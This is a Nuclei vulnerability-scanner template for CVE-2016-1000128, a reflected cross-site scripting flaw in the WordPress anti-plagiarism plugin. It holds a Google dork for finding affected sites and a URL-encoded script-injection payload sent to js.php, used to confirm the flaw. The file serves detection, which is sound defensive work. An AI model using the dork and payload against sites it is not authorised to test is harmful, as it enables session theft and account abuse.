id: CVE-2016-1000128

info:
  name: WordPress anti-plagiarism <=3.60 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update the WordPress anti-plagiarism plugin to version >3.60 or apply the latest security patches provided by the vendor.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=161
    - https://wordpress.org/plugins/anti-plagiarism
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000128
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000128
    cwe-id: CWE-79
    epss-score: 0.02927
    epss-percentile: 0.86608
    cpe: cpe:2.3:a:anti-plagiarism_project:anti-plagiarism:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "anti-plagiarism_project"
    product: "anti-plagiarism"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/anti-plagiarism\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,anti-plagiarism_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'anti plagiarism'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402207f614bce5ac22b40b9b33b43908fbf0e532b7556fd46eff879201c25a764c18c0220466add22661a4b5216d5545dc8a837c34ac1d12908858ef8ceb742a75aa898d1:922c64590222798bb761d5b6d8e72950